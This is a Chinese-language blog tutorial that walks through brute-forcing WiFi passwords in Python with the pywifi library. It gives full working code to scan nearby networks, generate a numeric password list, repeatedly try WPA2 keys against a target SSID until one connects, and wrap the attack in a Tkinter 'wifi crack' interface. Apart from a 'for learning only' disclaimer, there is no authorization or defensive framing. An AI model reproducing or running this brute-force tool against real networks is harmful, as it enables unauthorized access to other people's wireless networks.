统计
  • 建站日期:2022-01-17
  • 文章总数:5258 篇
  • 评论总数:92888条
  • 分类总数:43 个
  • 最后更新:1天前

Python暴力破解Wifi密码

作者头像
首页 综合教程 正文
广告
广告
广告
广告
广告

4765fcd7a83b867349d1e9be85c8f554_5dfd93fcbfc8d899.jpg

这里给大家提供一个案例参考,话不多说,代码附上。

环境搭建

依赖模块安装。

pip install pywifi -i https://pypi.douban.com/simple
pip install comtypes -i https://pypi.douban.com/simple

基本用法

1、判断当前网络情况。

import time
import pywifi
from pywifi import const

def gic():
    """"判断是否有无线网卡"""
    # 创建一个无线对象
    wifi = pywifi.PyWiFi()
    # 获取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # 打印网卡名
    print(ifaces.name())
    # 打印网卡状态
    if ifaces.status() in [const.IFACE_CONNECTED,const.IFACE_INACTIVE]:
        print("已连接")
    else:
        print("未连接")

2、扫描周围wifi情况。

def bies():
    """"扫描附近 WiFi"""
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    # 扫描 WiFi
    ifaces.scan()
    time.sleep(5)
    bessis = ifaces.scan_results()
    for data in bessis:
        # 输出 WiFi 名称
        print(data.ssid)

最佳实践

1、生成4位密码本

import itertools as its
import datetime

#记录程序运行时间
start=datetime.datetime.now()
words = '1234567890' #这里可以加入字母和其他字符,使用 string 包更方便
# 生成密码的位数
r = its.product(words,repeat=4)#4 即生成 4 位密码,正常情况下热点密码位数为 8
dic =open(r"password.txt",'a')
for i in r:
    dic.write(''.join(i))
    dic.write(''.join('\n'))
    print(i)

dic.close()
print('密码本生成好了')
end=datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end-start))

2、编写连接Wifi的函数。

def wificonnect(pwd, wifiname):
    # 抓取网卡接口
    wifi = pywifi.PyWiFi()
    # 抓取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # 断开所有连接
    ifaces.disconnect()
    time.sleep(1)
    # 判断 WiFi 连接状态
    if ifaces.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:
        # 创建 WiFi 连接文件
        profile = pywifi.Profile()
        # 要连接 WiFi 的名称
        profile.ssid = wifiname
        # 网卡的开放
        profile.auth = const.AUTH_ALG_OPEN
        # WiFi 加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 密码
        profile.key = pwd

        # 删除所有的 WiFi 文件
        ifaces.remove_all_network_profiles()
        # 设定新的连接文件
        tep_profile = ifaces.add_network_profile(profile)

        # 连接新的 WiFi
        ifaces.connect(tep_profile)
        time.sleep(5)
        # 判断新的 WiFi 连接状态
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False

    else:
        print("已连接")

3、开始暴力破解密码。

def readPassWord():
    print("开始破解:")

    path = 'password.txt'
    file = open(path, "r", errors="ignore")

    while True: 
        try:
            # 读取文件中一行
            pwd = file.readline()
            # 请将wifi_name更换为将要破解的wifi名
            bool = wificonnect(pwd , 'wifi_name')
            if bool:
                print("密码正确:", pwd )
                # messagebox.showinfo("密码正确",myStr)
                # text.insert(END, "密码正确:")
                break
            else:
                # text.insert(END, "密码错误:"+myStr)
                # 文本框向下滚动
                #t ext.see(END)
                # 更新
                # text.update()
                print("密码错误:", pwd )
                time.sleep(3)
        except Exception as e:
            continue
    file.close()

4、使用Python Tkinter制作图形化界面时,将之前的代码中readPassWord函数里的注释去掉即可。

from tkinter import Button, Entry, Label, Listbox, Tk

root = Tk()
root.title('wifi 破解')

# 获取屏幕 宽、高
ws = root.winfo_screenwidth()
hs = root.winfo_screenheight()
w = 600
h = 300
# 计算 x, y 位置
x = str(int((ws / 2) - (w / 2)))
y = str(int((hs / 2) - (h / 2)))
# 窗口大小
root.geometry('500x380')
root.geometry('+500+300')
# 标签控件
lable = Label(root, text='输入要破解的 WiFi 名称:')

lable.grid(row=0, column=0)

# 输入控件
entry = Entry(root, font=("微软雅黑", 22))
entry.grid(row=0, column=1)
# 列表框控件
text = Listbox(root, font=('微软雅黑', 15), width=40, height=10)
# columnspan 组件所跨越的列数
text.grid(row=1, columnspan=2)
# 按钮标签
button = Button(root, text='开始破解', width=20, height=2, command=readPassWord)
button.grid(row=2, columnspan=2)
root.mainloop()

版权说明
文章采用: 《署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)》许可协议授权。
版权声明:本站资源来自互联网收集,仅供用于学习和交流,请勿用于商业用途。如有侵权、不妥之处,请联系客服并出示版权证明以便删除!
微信聊天记录导出备份 WechatBakTool 溯雪 0.9.7.5
« 上一篇 05-02
自动化DOS攻击防御系统:一键屏蔽恶意IP
下一篇 » 05-01

发表评论

  • 泡泡
  • 阿呆
  • 阿鲁
  • 蛆音娘
    1. 葱姜 :
      2024-09-01 10:57       Linux /    Google Chrome

      厉害

    2. 招聘信息 :
      2024-08-24 06:37       Linux /    Google Chrome

      我们

    3. 2024-08-21 19:25       Linux /    Google Chrome

      ::(呵呵)

    4. 2024-08-21 19:25       Linux /    Google Chrome

      ::(呵呵)

    5. 2024-08-19 06:43       Linux /    Google Chrome